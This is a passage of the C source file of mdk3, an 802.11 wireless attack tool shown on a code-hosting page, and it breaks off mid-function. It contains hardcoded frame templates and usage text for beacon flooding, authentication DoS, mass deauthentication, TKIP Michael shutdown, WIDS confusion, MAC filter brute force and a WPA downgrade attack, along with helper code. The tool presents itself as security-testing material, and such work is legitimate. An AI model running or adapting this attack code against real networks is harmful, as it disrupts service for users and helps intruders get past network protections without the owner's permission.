-
Notifications
You must be signed in to change notification settings - Fork 26
/
mdk3.c
3995 lines (3445 loc) · 112 KB
/
mdk3.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
* mdk3, a 802.11 wireless network security testing tool
* Just like John the ripper or nmap, now part of most distros,
* it is important that the defender of a network can test it using
* aggressive tools.... before somebody else does.
*
* This file contains parts from 'aircrack' project by Cristophe Devine.
*
* Copyright (C) 2006-2007 Pedro Larbig
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; version 2 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
//Using GNU Extension getline(), not ANSI C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/time.h>
#include "pcap.h"
#include "manufactor.h"
#include "osdep/osdep.h"
#define uchar unsigned char
#define ARPHRD_IEEE80211 801
#define ARPHRD_IEEE80211_PRISM 802
#define ARPHRD_IEEE80211_FULL 803
#ifndef ETH_P_80211_RAW
#define ETH_P_80211_RAW 25
#endif
#define VERSION "v6(mod-musket-r1)"
#define MICHAEL \
"\x08\x41\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B\x00\x00\x00\x20\x00\x00\x00\x00"
#define MAX_PACKET_LENGTH 4096
#define MAX_APS_TRACKED 100
#define MAX_APS_TESTED 100
#define MAX_WHITELIST_ENTRIES 1000
#define MAX_CHAN_COUNT 128
#define ETH_MAC_LEN 6
# define TIMEVAL_TO_TIMESPEC(tv, ts) { \
(ts)->tv_sec = (tv)->tv_sec; \
(ts)->tv_nsec = (tv)->tv_usec * 1000; \
}
#define LIST_REREAD_PERIOD 3
static struct wif *_wi_in, *_wi_out;
struct devices
{
int fd_in, arptype_in;
int fd_out, arptype_out;
int fd_rtc;
} dev;
struct pckt
{
uchar *data;
int len;
} pckt;
struct advap
{
char *ssid;
uchar *mac;
} advap;
struct clist
{
uchar *data;
int status;
struct clist *next;
};
struct clistwidsap
{
uchar *bssid;
int channel;
uchar capa[2];
struct clistwidsap *next;
};
struct clistwidsclient
{
uchar *mac;
int status; //0=ready 1=authed 2=assoced
int retry;
struct clistwidsclient *next;
uchar *data;
int data_len;
struct clistwidsap *bssid;
};
struct ia_stats
{
int c_authed;
int c_assoced;
int c_kicked;
int c_created;
int d_captured;
int d_sent;
int d_responses;
int d_relays;
} ia_stats;
struct beaconinfo
{
uchar *bssid;
uchar *ssid;
int ssid_len;
int channel;
uchar capa[2];
};
struct wids_stats
{
int clients;
int aps;
int cycles;
int deauths;
} wids_stats;
unsigned char tmpbuf[MAX_PACKET_LENGTH]; // Temp buffer for packet manipulation in send/read_packet
uchar pkt[MAX_PACKET_LENGTH]; // Space to save generated packet
uchar pkt_sniff[MAX_PACKET_LENGTH]; // Space to save sniffed packets
uchar pkt_check[MAX_PACKET_LENGTH]; // Space to save sniffed packets to check success
uchar mac_p[ETH_MAC_LEN] = "\x00\x00\x00\x00\x00\x00"; // Space for parsed MACs
uchar mac_ph[3] = "\x00\x00\x00"; // Space for parsed half MACs
uchar aps_known[MAX_APS_TRACKED][ETH_MAC_LEN]; // Array to save MACs of known APs
int aps_known_count = 0; // Number of known APs
uchar auth[MAX_APS_TESTED][ETH_MAC_LEN]; // Array to save MACs of APs currently under test
int auths[MAX_APS_TESTED][4]; // Array to save status of APs under test
int auth_count; // Number of APs under test
int showssidwarn1=1, showssidwarn2=1; // Show warnings for overlenght SSIDs
char ssid[257]; // Space for the SSID read from file
FILE *ssid_file_fp; // File containing SSIDs
char *ssid_file_name = NULL; // File Name for file containing SSIDs
long file_pos = 0; // SSID file position
uchar *mac_sa = NULL; // Deauth test: Sender/Client MAC
uchar *mac_ta = NULL; // Transmitter/BSSID MAC
int state = 0, wds = 0; // Current state of deauth algo
uchar *pkt_amok = NULL; // Pointer to packet for deauth mode
uchar mac_v[ETH_MAC_LEN] = "\x00\x00\x00\x00\x00\x00"; // Generated valid MAC (used for Bruteforce, too)
uchar *target = NULL; // Target for SSID Bruteforce / Intelligent Auth DoS
int exit_now = 0; // Tells main thread to exit
int ssid_len = 0; // Length of SSID used in Bruteforce mode
int ssid_eof = 0; // Tell other threads, SSID file has reached EOF
char brute_mode; // Which ASCII-characters should be used
char *brute_ssid; // SSID in Bruteforce mode
unsigned int end = 0; // Has Bruteforce mode tried all possibilities?
unsigned int turns = 0; // Number of tried SSIDs
unsigned int max_permutations = 1; // Number of SSIDs possible
int real_brute = 0; // use Bruteforce mode?
uchar whitelist[MAX_WHITELIST_ENTRIES][ETH_MAC_LEN]; // Whitelist of clients not to deauth in Amok mode
int whitelist_len = 0; // Number of MACs in Whitelist
int wblist = 0; // Use white or blacklist in deauth test
int init_intelligent = 0; // Is intelligent_auth_dos initialized?
int init_intelligent_data = 0; // Is its data list initialized?
int we_got_data = 0; // Sniffer thread tells generator thread if there is any data
struct clist cl; // List with clients for intelligent Auth DoS
struct clist *current = &cl; // Pointer to current client
struct clist a_data; // List with data frames for intelligent Auth DoS
struct clist *a_data_current = &a_data; // And a pointer to its current frame
int current_channel = 0; // Channel hopper writes current channel here for being displayed by print functions
uchar *essid; // Pointer to ESSID for WIDS confusion
int essid_len; // And its length
int init_wids = 0; // Is WIDS environment ready?
struct clistwidsap clwa; // AP list for WIDS confusion
struct clistwidsap *clwa_cur = &clwa; // Current item
struct clistwidsclient clwc; // CLient list for WIDS confusion
struct clistwidsclient *clwc_cur = &clwc; // Current item
struct clistwidsap zc_own; // List of own APs for Zero's exploit
struct clistwidsap *zc_own_cur = &zc_own; // Current own AP for Zero
int init_zc_own = 0; // Is Zero's List ready?
int init_aplist = 0; // Is List of APs for WIDS confusion ready?
int init_clientlist = 0; // Is list of clients ready?
uchar *mac_base = NULL; // First three bytes of adress given for bruteforcing MAC filter
uchar *mac_lower = NULL; // Last three bytes of adress for Bruteforcing MAC filter
int mac_b_init = 0; // Initializer for MAC bruteforcer
static pthread_mutex_t has_packet_mutex; // Used for condition below
static pthread_cond_t has_packet; // Pthread Condition "Packet ready"
int has_packet_really = 0; // Since the above condition has a timeout we want to use, we need another int here
static pthread_mutex_t clear_packet_mutex; // Used for condition below
static pthread_cond_t clear_packet; // Pthread Condition "Buffer cleared, get next packet"
struct timeval tv_dyntimeout; // Dynamic timeout for MAC bruteforcer
int mac_brute_speed = 0; // MAC Bruteforcer Speed-o-meter
int mac_brute_timeouts = 0; // Timeout counter for MAC Bruteforcer
int zc_exploit = 0; // Use Zero_Chaos attack or standard WDS confusion?
int hopper_seconds = 1; // Default time for channel hopper to stay on one channel
int useqosexploit = 0; // Is 1 when user decided to use better TKIP QoS Exploit
int wpad_cycles = 0, wpad_auth = 0; // Counters for WPA downgrade: completed deauth cycles, sniffed 802.1x auth packets
int wpad_wep = 0, wpad_beacons = 0; // Counters for WPA downgrade: sniffed WEP/open packets, sniffed beacons/sec
int chans [MAX_CHAN_COUNT] = { 1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 0 };
#define PKT_EAPOL_START \
"\x08\x01\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x70\x6a\xaa\xaa\x03\x00\x00\x00\x88\x8e\x01\x01\x00\x00"
#define PKT_EAPOL_LOGOFF \
"\x08\x01\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x70\x6a\xaa\xaa\x03\x00\x00\x00\x88\x8e\x01\x02\x00\x00"
#define EAPOL_TEST_START_FLOOD 0
#define EAPOL_TEST_LOGOFF 1
#define FLAG_AUTH_WPA 1
#define FLAG_AUTH_RSN 2
#define FLAG_TKIP 1
#define FLAG_CCMP 2
#define SUPP_RATES "\x01\x08\x82\x84\x8b\x96\x0c\x12\x18\x24" // supported rates (1;2;5,5;11;6;9;12;18)
#define EXT_RATES "\x32\x04\x30\x48\x60\x6c" // extended rates (24;36;48;54)
#define IE_WPA "\x00\x50\xf2\x01\x01\x00"
#define IE_WPA_TKIP "\x00\x50\xf2\x02"
#define IE_WPA_CCMP "\x00\x50\xf2\x04"
#define IE_WPA_KEY_MGMT "\x00\x50\xf2\x01"
#define IE_RSN "\x30\x12\x01\x00"
#define IE_RSN_TKIP "\x00\x0f\xac\x02"
#define IE_RSN_CCMP "\x00\x0f\xac\x04"
#define IE_RSN_KEY_MGMT "\x00\x0f\xac\x01"
int eapol_test; // the actual EAPOL test
int eapol_state = 0; // state of the EAPOL FSM
uchar eapol_src[ETH_MAC_LEN]; // src address used for EAPOL frames
uchar eapol_dst[ETH_MAC_LEN]; // dst address used for EAPOL frames
int eapol_wtype = FLAG_AUTH_WPA; // default auth type: WPA
int eapol_ucast = FLAG_TKIP; // default unicast cipher: TKIP
int eapol_mcast = FLAG_TKIP; // default multicast cipher: TKIP
char use_head[]="\nMDK 3.0 " VERSION " - \"fuck the censorship\"\n"
"by ASPj of k2wrlz, using the osdep library from aircrack-ng\n"
"And with lots of help from the great aircrack-ng community:\n"
"Antragon, moongray, Ace, Zero_Chaos, Hirte, thefkboss, ducttape,\n"
"telek0miker, Le_Vert, sorbo, Andy Green, bahathir and Dawid Gajownik\n"
"THANK YOU!\n\n"
"MDK is a proof-of-concept tool to exploit common IEEE 802.11 protocol weaknesses.\n"
"IMPORTANT: It is your responsibility to make sure you have permission from the\n"
"network owner before running MDK against it.\n\n"
"This code is licenced under the GPLv2\n\n"
"MDK USAGE:\n"
"mdk3 <interface> <test_mode> [test_options]\n\n"
"Try mdk3 --fullhelp for all test options\n"
"Try mdk3 --help <test_mode> for info about one test only\n\n"
"TEST MODES:\n"
"b - Beacon Flood Mode\n"
" Sends beacon frames to show fake APs at clients.\n"
" This can sometimes crash network scanners and even drivers!\n"
"a - Authentication DoS mode\n"
" Sends authentication frames to all APs found in range.\n"
" Too much clients freeze or reset some APs.\n"
"p - Basic probing and ESSID Bruteforce mode\n"
" Probes AP and check for answer, useful for checking if SSID has\n"
" been correctly decloaked or if AP is in your adaptors sending range\n"
" SSID Bruteforcing is also possible with this test mode.\n"
"d - Deauthentication / Disassociation Amok Mode\n"
" Kicks everybody found from AP\n"
"m - Michael shutdown exploitation (TKIP)\n"
" Cancels all traffic continuously\n"
"x - 802.1X tests\n"
"w - WIDS/WIPS Confusion\n"
" Confuse/Abuse Intrusion Detection and Prevention Systems\n"
"f - MAC filter bruteforce mode\n"
" This test uses a list of known client MAC Adresses and tries to\n"
" authenticate them to the given AP while dynamically changing\n"
" its response timeout for best performance. It currently works only\n"
" on APs who deny an open authentication request properly\n"
"g - WPA Downgrade test\n"
" deauthenticates Stations and APs sending WPA encrypted packets.\n"
" With this test you can check if the sysadmin will try setting his\n"
" network to WEP or disable encryption.\n"
"t - Probe request tests (mod-musket)\n"
" mdk3 <mon> t <channel> <bssid AP> <frames/sec>\n";
char use_beac[]="b - Beacon Flood Mode\n"
" Sends beacon frames to show fake APs at clients.\n"
" This can sometimes crash network scanners and even drivers!\n"
" OPTIONS:\n"
" -n <ssid>\n"
" Use SSID <ssid> instead of randomly generated ones\n"
" -f <filename>\n"
" Read SSIDs from file\n"
" -v <filename>\n"
" Read MACs and SSIDs from file. See example file!\n"
" -d\n"
" Show station as Ad-Hoc\n"
" -w\n"
" Set WEP bit (Generates encrypted networks)\n"
" -g\n"
" Show station as 54 Mbit\n"
" -t\n"
" Show station using WPA TKIP encryption\n"
" -a\n"
" Show station using WPA AES encryption\n"
" -m\n"
" Use valid accesspoint MAC from OUI database\n"
" -h\n"
" Hop to channel where AP is spoofed\n"
" This makes the test more effective against some devices/drivers\n"
" But it reduces packet rate due to channel hopping.\n"
" -c <chan>\n"
" Fake an AP on channel <chan>. If you want your card to hop on\n"
" this channel, you have to set -h option, too!\n"
" -s <pps>\n"
" Set speed in packets per second (Default: 50)\n";
char use_auth[]="a - Authentication DoS mode\n"
" Sends authentication frames to all APs found in range.\n"
" Too much clients freeze or reset almost every AP.\n"
" OPTIONS:\n"
" -a <ap_mac>\n"
" Only test the specified AP\n"
" -m\n"
" Use valid client MAC from OUI database\n"
" -c\n"
" Do NOT check for test being successful\n"
" -i <ap_mac>\n"
" Perform intelligent test on AP (-a and -c will be ignored)\n"
" This test connects clients to the AP and reinjects sniffed data to keep them alive\n"
" -s <pps>\n"
" Set speed in packets per second (Default: unlimited)\n";
char use_prob[]="p - Basic probing and ESSID Bruteforce mode\n"
" Probes AP and check for answer, useful for checking if SSID has\n"
" been correctly decloaked or if AP is in your adaptors sending range\n"
" Use -f and -t option to enable SSID Bruteforcing.\n"
" OPTIONS:\n"
" -e <ssid>\n"
" Tell mdk3 which SSID to probe for\n"
" -f <filename>\n"
" Read lines from file for bruteforcing hidden SSIDs\n"
" -t <bssid>\n"
" Set MAC adress of target AP\n"
" -s <pps>\n"
" Set speed (Default: unlimited, in Bruteforce mode: 300)\n"
" -b <character set>\n"
" Use full Bruteforce mode (recommended for short SSIDs only!)\n"
" Use this switch only to show its help screen.\n";
char use_deau[]="d - Deauthentication / Disassociation Amok Mode\n"
" Kicks everybody found from AP\n"
" OPTIONS:\n"
" -w <filename>\n"
" Read file containing MACs not to care about (Whitelist mode)\n"
" -b <filename>\n"
" Read file containing MACs to run test on (Blacklist Mode)\n"
" -s <pps>\n"
" Set speed in packets per second (Default: unlimited)\n"
" -c [chan,chan,chan,...]\n"
" Enable channel hopping. Without providing any channels, mdk3 will hop an all\n"
" 14 b/g channels. Channel will be changed every 5 seconds.\n";
char use_mich[]="m - Michael shutdown exploitation (TKIP)\n"
" Cancels all traffic continuously\n"
" -t <bssid>\n"
" Set Mac address of target AP\n"
" -w <seconds>\n"
" Seconds between bursts (Default: 10)\n"
" -n <ppb>\n"
" Set packets per burst (Default: 70)\n"
" -j\n"
" Use the new TKIP QoS-Exploit\n"
" Needs just a few packets to shut AP down!\n"
" -s <pps>\n"
" Set speed (Default: 400)\n";
char use_eapo[]="x - 802.1X tests\n"
" 0 - EAPOL Start packet flooding\n"
" -n <ssid>\n"
" Use SSID <ssid>\n"
" -t <bssid>\n"
" Set MAC address of target AP\n"
" -w <WPA type>\n"
" Set WPA type (1: WPA, 2: WPA2/RSN; default: WPA)\n"
" -u <unicast cipher>\n"
" Set unicast cipher type (1: TKIP, 2: CCMP; default: TKIP)\n"
" -m <multicast cipher>\n"
" Set multicast cipher type (1: TKIP, 2: CCMP; default: TKIP)\n"
" -s <pps>\n"
" Set speed (Default: 400)\n"
" 1 - EAPOL Logoff test\n"
" -t <bssid>\n"
" Set MAC address of target AP\n"
" -c <bssid>\n"
" Set MAC address of target STA\n"
" -s <pps>\n"
" Set speed (Default: 400)\n";
char use_wids[]="w - WIDS/WIPS/WDS Confusion\n"
" Confuses a WDS with multi-authenticated clients which messes up routing tables\n"
" -e <SSID>\n"
" SSID of target WDS network\n"
" -c [chan,chan,chan...]\n"
" Use channel hopping\n"
" -z\n"
" activate Zero_Chaos' WIDS exploit\n"
" (authenticates clients from a WDS to foreign APs to make WIDS go nuts)\n";
char use_macb[]="f - MAC filter bruteforce mode\n"
" This test uses a list of known client MAC Adresses and tries to\n"
" authenticate them to the given AP while dynamically changing\n"
" its response timeout for best performance. It currently works only\n"
" on APs who deny an open authentication request properly\n"
" -t <bssid>\n"
" Target BSSID\n"
" -m <mac>\n"
" Set the MAC adress range to use (3 bytes, i.e. 00:12:34)\n"
" Without -m, the internal database will be used\n"
" -f <mac>\n"
" Set the MAC adress to begin bruteforcing with\n"
" (Note: You can't use -f and -m at the same time)\n";
char use_wpad[]="g - WPA Downgrade test\n"
" deauthenticates Stations and APs sending WPA encrypted packets.\n"
" With this test you can check if the sysadmin will try setting his\n"
" network to WEP or disable encryption. mdk3 will let WEP and unencrypted\n"
" clients work, so if the sysadmin simply thinks \"WPA is broken\" he\n"
" sure isn't the right one for this job.\n"
" (this can/should be combined with social engineering)\n"
" -t <bssid>\n"
" Target network\n";
int send_packet(uchar *buf, size_t count)
{
struct wif *wi = _wi_out; /* XXX globals suck */
if (wi_write(wi, buf, count, NULL) == -1) {
switch (errno) {
case EAGAIN:
case ENOBUFS:
usleep(10000);
return 0; /* XXX not sure I like this... -sorbo */
}
perror("wi_write()");
return -1;
}
return 0;
}
int read_packet(uchar *buf, size_t count)
{
struct wif *wi = _wi_in; /* XXX */
int rc;
rc = wi_read(wi, buf, count, NULL);
if (rc == -1) {
switch (errno) {
case EAGAIN:
return 0;
}
perror("wi_read()");
return -1;
}
return rc;
}
void set_channel(int channel)
{
wi_set_channel(_wi_out, channel);
current_channel = channel;
}
int get_channel()
{
return current_channel;
}
void print_packet ( uchar *h80211, int caplen )
{
int i,j;
printf( " Size: %d, FromDS: %d, ToDS: %d",
caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) );
if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 )
{
if( ( h80211[27] & 0x20 ) == 0 )
printf( " (WEP)" );
else
printf( " (WPA)" );
}
for( i = 0; i < caplen; i++ )
{
if( ( i & 15 ) == 0 )
{
if( i == 224 )
{
printf( "\n --- CUT ---" );
break;
}
printf( "\n 0x%04x: ", i );
}
printf( "%02x", h80211[i] );
if( ( i & 1 ) != 0 )
printf( " " );
if( i == caplen - 1 && ( ( i + 1 ) & 15 ) != 0 )
{
for( j = ( ( i + 1 ) & 15 ); j < 16; j++ )
{
printf( " " );
if( ( j & 1 ) != 0 )
printf( " " );
}
printf( " " );
for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ )
printf( "%c", ( h80211[i - 15 + j] < 32 ||
h80211[i - 15 + j] > 126 )
? '.' : h80211[i - 15 + j] );
}
if( i > 0 && ( ( i + 1 ) & 15 ) == 0 )
{
printf( " " );
for( j = 0; j < 16; j++ )
printf( "%c", ( h80211[i - 15 + j] < 32 ||
h80211[i - 15 + j] > 127 )
? '.' : h80211[i - 15 + j] );
}
}
printf("\n");
}
/* Helper functions */
char hex2char (char byte1, char byte2)
{
// Very simple routine to convert hexadecimal input into a byte
char rv;
if (byte1 == '0') { rv = 0; }
if (byte1 == '1') { rv = 16; }
if (byte1 == '2') { rv = 32; }
if (byte1 == '3') { rv = 48; }
if (byte1 == '4') { rv = 64; }
if (byte1 == '5') { rv = 80; }
if (byte1 == '6') { rv = 96; }
if (byte1 == '7') { rv = 112; }
if (byte1 == '8') { rv = 128; }
if (byte1 == '9') { rv = 144; }
if (byte1 == 'A' || byte1 == 'a') { rv = 160; }
if (byte1 == 'B' || byte1 == 'b') { rv = 176; }
if (byte1 == 'C' || byte1 == 'c') { rv = 192; }
if (byte1 == 'D' || byte1 == 'd') { rv = 208; }
if (byte1 == 'E' || byte1 == 'e') { rv = 224; }
if (byte1 == 'F' || byte1 == 'f') { rv = 240; }
if (byte2 == '0') { rv += 0; }
if (byte2 == '1') { rv += 1; }
if (byte2 == '2') { rv += 2; }
if (byte2 == '3') { rv += 3; }
if (byte2 == '4') { rv += 4; }
if (byte2 == '5') { rv += 5; }
if (byte2 == '6') { rv += 6; }
if (byte2 == '7') { rv += 7; }
if (byte2 == '8') { rv += 8; }
if (byte2 == '9') { rv += 9; }
if (byte2 == 'A' || byte2 == 'a') { rv += 10; }
if (byte2 == 'B' || byte2 == 'b') { rv += 11; }
if (byte2 == 'C' || byte2 == 'c') { rv += 12; }
if (byte2 == 'D' || byte2 == 'd') { rv += 13; }
if (byte2 == 'E' || byte2 == 'e') { rv += 14; }
if (byte2 == 'F' || byte2 == 'f') { rv += 15; }
return rv;
}
uchar *parse_mac(char *input)
{
// Parsing input MAC adresses like 00:00:11:22:aa:BB or 00001122aAbB
uchar tmp[12] = "000000000000";
int t;
if (input[2] == ':') {
memcpy(tmp , input , 2);
memcpy(tmp+2 , input+3 , 2);
memcpy(tmp+4 , input+6 , 2);
memcpy(tmp+6 , input+9 , 2);
memcpy(tmp+8 , input+12 , 2);
memcpy(tmp+10, input+15 , 2);
} else {
memcpy(tmp, input, 12);
}
for (t=0; t<ETH_MAC_LEN; t++)
mac_p[t] = hex2char(tmp[2*t], tmp[2*t+1]);
return mac_p;
}
uchar *parse_half_mac(char *input)
{
// Parsing input half MAC adresses like 00:00:11 or 000011
uchar tmp[6] = "000000";
int t;
if (input[2] == ':') {
memcpy(tmp , input , 2);
memcpy(tmp+2 , input+3 , 2);
memcpy(tmp+4 , input+6 , 2);
} else {
memcpy(tmp, input, 6);
}
for (t=0; t<3; t++)
mac_ph[t] = hex2char(tmp[2*t], tmp[2*t+1]);
return mac_ph;
}
uchar *get_valid_mac_from_list(int type, int list_len)
{
int t, pos;
pos = random();
pos = pos % list_len;
// SAMPLE LINE
// 000123000000/FFFFFF000000
// 0 2 4 6 8 10 13 16 19 22
if (type == 0) {
for (t=0; t<ETH_MAC_LEN; t++) {
if (!memcmp(clients[pos]+(t*2+13), "FF", 2) || !memcmp(clients[pos]+(t*2+13), "ff", 2)) {
mac_v[t] = hex2char(clients[pos][t*2], clients[pos][t*2+1]);
} else mac_v[t] = random();
}
} else {
for (t=0; t<ETH_MAC_LEN; t++) {
if (!memcmp(accesspoints[pos]+(t*2+13), "FF", 2) || !memcmp(accesspoints[pos]+(t*2+13), "ff", 2)) {
mac_v[t] = hex2char(accesspoints[pos][t*2], accesspoints[pos][t*2+1]);
} else mac_v[t] = random();
}
}
return mac_v;
}
struct pckt generate_mac(int kind)
{
// Generate a random MAC adress
// kind : Which kind of MAC should be generated?
// 0 : random MAC
// 1 : valid client MAC
// 2 : valid accesspoint MAC
struct pckt mac;
uchar gmac[ETH_MAC_LEN];
int t;
mac.len = ETH_MAC_LEN;
for (t=0; t<ETH_MAC_LEN; t++)
gmac[t] = random();
mac.data = gmac;
if (kind == 1)
mac.data = get_valid_mac_from_list(0, clients_count);
if (kind == 2)
mac.data = get_valid_mac_from_list(1, accesspoints_count);
return mac;
}
char generate_channel()
{
// Generate a random channel
char c = 0;
c = (random() % 14) + 1;
return c;
}
char random_char()
{
// Generate random printable ascii char
char rnd = 0;
rnd = (random() % 94) + ' ';
return rnd;
}
char *generate_ssid()
{
// Generate random VALID SSID
// Need another to generate INVALID SSIDs (overlenght) for testing their impact on wireless devices
char *ssid = (char*) malloc(33);
int len=0;
int t;
len = (random() % 32) + 1;
for (t=0; t<len; t++) ssid[t] = random_char();
ssid[len]='\x00';
return ssid;
}
char *read_line_from_file()
{
// Read SSID from file
// New line removed
int max_len = 255;
int len = 32;
char *ssid_string = NULL;
unsigned int size = 0;
int bytes_read = 0;
/* open file for input */
if ((ssid_file_fp = fopen(ssid_file_name, "r")) == NULL) {
printf("Cannot open file \n");
exit(1);
}
fseek(ssid_file_fp, file_pos, SEEK_SET);
bytes_read = getline(&ssid_string, &size, ssid_file_fp);
if (bytes_read == -1) {
rewind(ssid_file_fp);
ssid_eof = 1;
bytes_read = getline(&ssid_string, &size, ssid_file_fp);
}
len = strlen(ssid_string);
if (len > max_len) {
memcpy(ssid, ssid_string, max_len);
ssid[max_len+1]= '\x00';
len = strlen(ssid);
if (showssidwarn2) {
printf("\rWARNING! Truncating overlenght SSID to 255 bytes!\n");
showssidwarn2 = 0;
}
} else {
memcpy(ssid, ssid_string, len);
}
ssid[len-1]='\x00';
file_pos = ftell(ssid_file_fp);
fclose(ssid_file_fp);
return (char*) &ssid;
}
int pps2usec(int pps)
{
// Very basic routine to convert desired packet rate to µs
// µs values were measured with rt2570 device
// Should use /dev/rtc like in aireplay
int usec;
int ppc = 1000000;
if (pps>15) ppc=950000;
if (pps>35) ppc=800000;
if (pps>75) ppc=730000;
if (pps>125)ppc=714000;
usec = ppc / pps;
return usec;
}
void bruteforce_ssid()
{
int i;
switch (brute_mode) {
case 'n' : // Numbers only
if (brute_ssid[ssid_len-1] == (int) NULL) {
for (i=0; i<ssid_len; i++) {
max_permutations *= 10;
brute_ssid[i] = 48;
}
brute_ssid[0]--;
}
brute_ssid[0]++;
for (i=0; i<ssid_len-1 ;i++) {
if (brute_ssid[i] == '9' + 1) {
brute_ssid[i] = '0';
brute_ssid[i+1]++;
}
}
turns++;
if (brute_ssid[ssid_len-1] == ('9' + 1)) end = 1;
break;
case 'l' : // only lowercase characters
if (brute_ssid[ssid_len-1] == (int) NULL) {
for (i=0; i<ssid_len; i++) {
max_permutations *= 26;
brute_ssid[i] = 97;
}
brute_ssid[0]--;
}
brute_ssid[0]++;
for (i=0; i<ssid_len-1 ;i++) {
if (brute_ssid[i] == 'z' + 1) {
brute_ssid[i] = 'a';
brute_ssid[i+1]++;
}
}
turns++;
if (brute_ssid[ssid_len-1] == ('z' + 1)) end = 1;
break;
case 'u' : // only uppercase characters
if (brute_ssid[ssid_len-1] == (int) NULL) {
for (i=0; i<ssid_len; i++) {
max_permutations *= 26;
brute_ssid[i] = 65;
}
brute_ssid[0]--;
}
brute_ssid[0]++;
for (i=0; i<ssid_len-1; i++) {
if (brute_ssid[i] == 'Z' + 1) {
brute_ssid[i] = 'A' ;
brute_ssid[i+1]++;
}
}
turns++;
if (brute_ssid[ssid_len-1] == ('Z' +1 )) end = 1;
break;
case 'c' : // lower- and uppercase characters
if (brute_ssid[ssid_len-1] == (int) NULL) {
for (i=0;i<ssid_len;i++) {
max_permutations *= 52;
brute_ssid[i] = 65;
}
brute_ssid[0]--;
}
brute_ssid[0]++;
